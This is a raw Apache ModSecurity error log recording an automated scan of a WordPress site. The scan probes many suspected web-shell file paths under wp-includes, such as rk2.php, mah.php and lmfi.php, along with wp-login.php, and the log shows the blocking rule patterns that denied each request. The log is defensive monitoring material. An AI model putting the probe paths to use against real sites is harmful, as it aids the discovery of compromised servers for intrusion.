[Sat Nov 22 07:00:13.286780 2025] [:error] [pid 53479:tid 53560] [client 31.171.130.85:37439] [client 31.171.130.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.85, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/wp-login.php"] [unique_id "aSDu_W6cicFF3Aas-oSivQAAAJg"]
[Sat Nov 22 07:00:15.501096 2025] [:error] [pid 53479:tid 53543] [client 31.171.130.85:37439] [client 31.171.130.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/wp-login.php"] [unique_id "aSDu_26cicFF3Aas-oSivwAAAIc"]
[Sat Nov 22 07:00:16.517036 2025] [:error] [pid 53478:tid 53513] [client 31.171.130.85:29425] [client 31.171.130.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aSDvAAhUYdXBbQswAdRBxQAAAEQ"]
[Sat Nov 22 07:00:21.389115 2025] [:error] [pid 9547:tid 9561] [client 31.171.130.67:52211] [client 31.171.130.67] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.67, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/wp-login.php"] [unique_id "aSDvBdClOR5qk7DoMeGncgAAAUg"]
[Sat Nov 22 07:00:21.874455 2025] [:error] [pid 9547:tid 9560] [client 31.171.130.67:52211] [client 31.171.130.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "aSDvBdClOR5qk7DoMeGncwAAAUc"]
[Sat Nov 22 07:00:22.836765 2025] [:error] [pid 53478:tid 53518] [client 31.171.130.68:56617] [client 31.171.130.68] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/network.php"] [unique_id "aSDvBghUYdXBbQswAdRBygAAAEk"]
[Sat Nov 22 07:00:23.759817 2025] [:error] [pid 53479:tid 53559] [client 31.171.130.70:31067] [client 31.171.130.70] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aSDvB26cicFF3Aas-oSiwwAAAJc"]
[Sat Nov 22 07:00:26.714738 2025] [:error] [pid 53566:tid 53592] [client 31.171.130.60:38133] [client 31.171.130.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/php-compat/autoload_classmap.php"] [unique_id "aSDvCsbSHDBkRbwMbd5pSwAAANg"]
[Sat Nov 22 07:00:33.290773 2025] [:error] [pid 53478:tid 53518] [client 31.171.130.67:42871] [client 31.171.130.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/autoload_classmap.php"] [unique_id "aSDvEQhUYdXBbQswAdRB5AAAAEk"]
[Sat Nov 22 07:00:35.679022 2025] [:error] [pid 53479:tid 53549] [client 31.171.130.101:37079] [client 31.171.130.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/index.php"] [unique_id "aSDvE26cicFF3Aas-oSizAAAAI0"]
[Sat Nov 22 07:00:40.981607 2025] [:error] [pid 9547:tid 9568] [client 31.171.130.74:60299] [client 31.171.130.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aSDvGNClOR5qk7DoMeGnoAAAAU8"]
[Sat Nov 22 07:00:42.503285 2025] [:error] [pid 53479:tid 53552] [client 31.171.130.69:59211] [client 31.171.130.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aSDvGm6cicFF3Aas-oSizwAAAJA"]
[Sat Nov 22 07:00:43.899976 2025] [:error] [pid 53566:tid 53581] [client 31.171.130.103:33365] [client 31.171.130.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aSDvG8bSHDBkRbwMbd5pXQAAAM0"]
[Sat Nov 22 07:00:46.391037 2025] [:error] [pid 9547:tid 9562] [client 31.171.130.85:24191] [client 31.171.130.85] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "aSDvHtClOR5qk7DoMeGnqAAAAUk"]
[Sat Nov 22 07:00:47.901618 2025] [:error] [pid 53566:tid 53590] [client 31.171.130.90:35977] [client 31.171.130.90] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "aSDvH8bSHDBkRbwMbd5pYQAAANY"]
[Sat Nov 22 07:00:50.001091 2025] [:error] [pid 53478:tid 53525] [client 31.171.130.55:32763] [client 31.171.130.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aSDvIghUYdXBbQswAdRB7AAAAFA"]
[Sat Nov 22 07:00:52.379649 2025] [:error] [pid 9547:tid 9576] [client 31.171.130.84:61329] [client 31.171.130.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aSDvJNClOR5qk7DoMeGnsAAAAVc"]
[Sat Nov 22 07:00:54.734326 2025] [:error] [pid 9547:tid 9563] [client 31.171.130.77:39521] [client 31.171.130.77] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSDvJtClOR5qk7DoMeGntQAAAUo"]
[Sat Nov 22 07:00:56.635246 2025] [:error] [pid 53479:tid 53537] [client 31.171.130.74:61669] [client 31.171.130.74] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "aSDvKG6cicFF3Aas-oSi2AAAAIE"]
[Sat Nov 22 07:00:58.592790 2025] [proxy_fcgi:error] [pid 25856:tid 25871] [client 31.171.130.65:26431] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:00:59.982503 2025] [:error] [pid 25856:tid 25868] [client 31.171.130.65:26431] [client 31.171.130.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/autoload_classmap.php"] [unique_id "aSDvKxsTP0wy94zKUvHqIwAAAQo"]
[Sat Nov 22 07:01:10.766204 2025] [:error] [pid 9547:tid 9576] [client 31.171.130.63:21949] [client 31.171.130.63] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/autoload_classmap.php"] [unique_id "aSDvNtClOR5qk7DoMeGn1gAAAVc"]
[Sat Nov 22 07:01:11.699637 2025] [:error] [pid 25856:tid 25861] [client 31.171.130.87:47643] [client 31.171.130.87] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSDvNxsTP0wy94zKUvHqMAAAAQM"]
[Sat Nov 22 07:01:14.080028 2025] [:error] [pid 53477:tid 53497] [client 31.171.130.99:32329] [client 31.171.130.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/index.php"] [unique_id "aSDvOn7Lu30Ku9O40aIItwAAABA"]
[Sat Nov 22 07:01:15.003860 2025] [:error] [pid 25856:tid 25873] [client 31.171.130.73:35677] [client 31.171.130.73] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aSDvOxsTP0wy94zKUvHqNAAAAQ8"]
[Sat Nov 22 07:01:17.423352 2025] [:error] [pid 53566:tid 53573] [client 31.171.130.55:45145] [client 31.171.130.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/wp-login.php"] [unique_id "aSDvPcbSHDBkRbwMbd5pewAAAMU"]
[Sat Nov 22 07:01:21.371646 2025] [:error] [pid 25856:tid 25866] [client 31.171.130.53:50039] [client 31.171.130.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aSDvQRsTP0wy94zKUvHqRwAAAQg"]
[Sat Nov 22 07:01:22.816457 2025] [:error] [pid 9547:tid 9561] [client 31.171.130.84:45201] [client 31.171.130.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.84, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/wp-login.php"] [unique_id "aSDvQtClOR5qk7DoMeGn4AAAAUg"]
[Sat Nov 22 07:01:23.721095 2025] [:error] [pid 9547:tid 9572] [client 31.171.130.84:45201] [client 31.171.130.84] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aSDvQ9ClOR5qk7DoMeGn4wAAAVM"]
[Sat Nov 22 07:01:24.650008 2025] [:error] [pid 9547:tid 9567] [client 31.171.130.76:39319] [client 31.171.130.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/index.php"] [unique_id "aSDvRNClOR5qk7DoMeGn5AAAAU4"]
[Sat Nov 22 07:01:29.668682 2025] [:error] [pid 53479:tid 53551] [client 31.171.130.54:56243] [client 31.171.130.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/autoload_classmap.php"] [unique_id "aSDvSW6cicFF3Aas-oSi-gAAAI8"]
[Sat Nov 22 07:01:37.601955 2025] [:error] [pid 9547:tid 9568] [client 31.171.130.99:51687] [client 31.171.130.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "aSDvUdClOR5qk7DoMeGn9AAAAU8"]
[Sat Nov 22 07:01:40.577091 2025] [proxy_fcgi:error] [pid 9547:tid 9569] [client 31.171.130.103:44251] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:01:43.486914 2025] [proxy_fcgi:error] [pid 9547:tid 9575] [client 31.171.130.103:44251] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:01:44.926807 2025] [:error] [pid 9547:tid 9561] [client 31.171.130.103:44251] [client 31.171.130.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aSDvWNClOR5qk7DoMeGoCwAAAUg"]
[Sat Nov 22 07:01:48.395367 2025] [:error] [pid 53478:tid 53512] [client 31.171.130.94:26503] [client 31.171.130.94] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/wp-tinymce.php"] [unique_id "aSDvXAhUYdXBbQswAdRCFwAAAEM"]
[Sat Nov 22 07:01:51.687363 2025] [:error] [pid 53566:tid 53582] [client 31.171.130.83:59441] [client 31.171.130.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.83, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aSDvX8bSHDBkRbwMbd5pkwAAAM4"]
[Sat Nov 22 07:01:51.693078 2025] [proxy_fcgi:error] [pid 53566:tid 53582] [client 31.171.130.83:59441] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:01:54.826965 2025] [:error] [pid 53566:tid 53580] [client 31.171.130.83:59441] [client 31.171.130.83] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/mah.php"] [unique_id "aSDvYsbSHDBkRbwMbd5pmgAAAMw"]
[Sat Nov 22 07:01:55.739455 2025] [:error] [pid 53478:tid 53513] [client 31.171.130.58:20379] [client 31.171.130.58] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.58, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/sunrise/wp-login.php"] [unique_id "aSDvYwhUYdXBbQswAdRCGQAAAEQ"]
[Sat Nov 22 07:01:56.207384 2025] [:error] [pid 53478:tid 53524] [client 31.171.130.58:20379] [client 31.171.130.58] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/lmfi.php"] [unique_id "aSDvZAhUYdXBbQswAdRCGgAAAE8"]
[Sat Nov 22 07:02:02.214382 2025] [proxy_fcgi:error] [pid 9547:tid 9558] [client 31.171.130.65:44357] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:02:03.622271 2025] [:error] [pid 9547:tid 9562] [client 31.171.130.65:44357] [client 31.171.130.65] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/langs/about.php"] [unique_id "aSDva9ClOR5qk7DoMeGoMAAAAUk"]
[Sat Nov 22 07:02:06.182448 2025] [:error] [pid 53566:tid 53576] [client 31.171.130.105:38435] [client 31.171.130.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSDvbsbSHDBkRbwMbd5pqAAAAMg"]
[Sat Nov 22 07:02:08.707974 2025] [:error] [pid 53477:tid 53500] [client 31.171.130.60:39359] [client 31.171.130.60] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.60, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/light/wp-login.php"] [unique_id "aSDvcH7Lu30Ku9O40aII1gAAABM"]
[Sat Nov 22 07:02:13.068507 2025] [:error] [pid 53477:tid 53491] [client 31.171.130.60:39359] [client 31.171.130.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/button/index.php"] [unique_id "aSDvdX7Lu30Ku9O40aII3wAAAAo"]
[Sat Nov 22 07:02:14.518749 2025] [:error] [pid 53566:tid 53575] [client 31.171.130.93:21909] [client 31.171.130.93] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/packed.php"] [unique_id "aSDvdsbSHDBkRbwMbd5prgAAAMc"]
[Sat Nov 22 07:02:19.210384 2025] [:error] [pid 53566:tid 53588] [client 31.171.130.105:32431] [client 31.171.130.105] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/file.php"] [unique_id "aSDve8bSHDBkRbwMbd5pwAAAANQ"]
[Sat Nov 22 07:02:21.784776 2025] [:error] [pid 53477:tid 53503] [client 31.171.130.75:42751] [client 31.171.130.75] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aSDvfX7Lu30Ku9O40aII4gAAABY"]
[Sat Nov 22 07:02:23.273467 2025] [:error] [pid 53477:tid 53486] [client 31.171.130.102:24055] [client 31.171.130.102] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Cache/about.php"] [unique_id "aSDvf37Lu30Ku9O40aII5AAAAAU"]
[Sat Nov 22 07:02:27.400168 2025] [:error] [pid 53477:tid 53498] [client 31.171.130.55:31631] [client 31.171.130.55] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.55, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/languages/wp-login.php"] [unique_id "aSDvg37Lu30Ku9O40aII6gAAABE"]
[Sat Nov 22 07:02:27.885238 2025] [:error] [pid 53477:tid 53483] [client 31.171.130.55:31631] [client 31.171.130.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSDvg37Lu30Ku9O40aII6wAAAAI"]
[Sat Nov 22 07:02:32.401657 2025] [:error] [pid 9547:tid 9575] [client 31.171.130.64:50975] [client 31.171.130.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSDviNClOR5qk7DoMeGoZAAAAVY"]
[Sat Nov 22 07:02:33.358638 2025] [:error] [pid 53566:tid 53586] [client 31.171.130.79:20763] [client 31.171.130.79] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aSDvicbSHDBkRbwMbd5pyQAAANI"]
[Sat Nov 22 07:02:36.380619 2025] [proxy_fcgi:error] [pid 53477:tid 53502] [client 31.171.130.80:58271] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:02:37.732394 2025] [proxy_fcgi:error] [pid 53477:tid 53495] [client 31.171.130.80:58271] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 07:02:38.203047 2025] [:error] [pid 53477:tid 53500] [client 31.171.130.80:58271] [client 31.171.130.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aSDvjn7Lu30Ku9O40aII-AAAABM"]
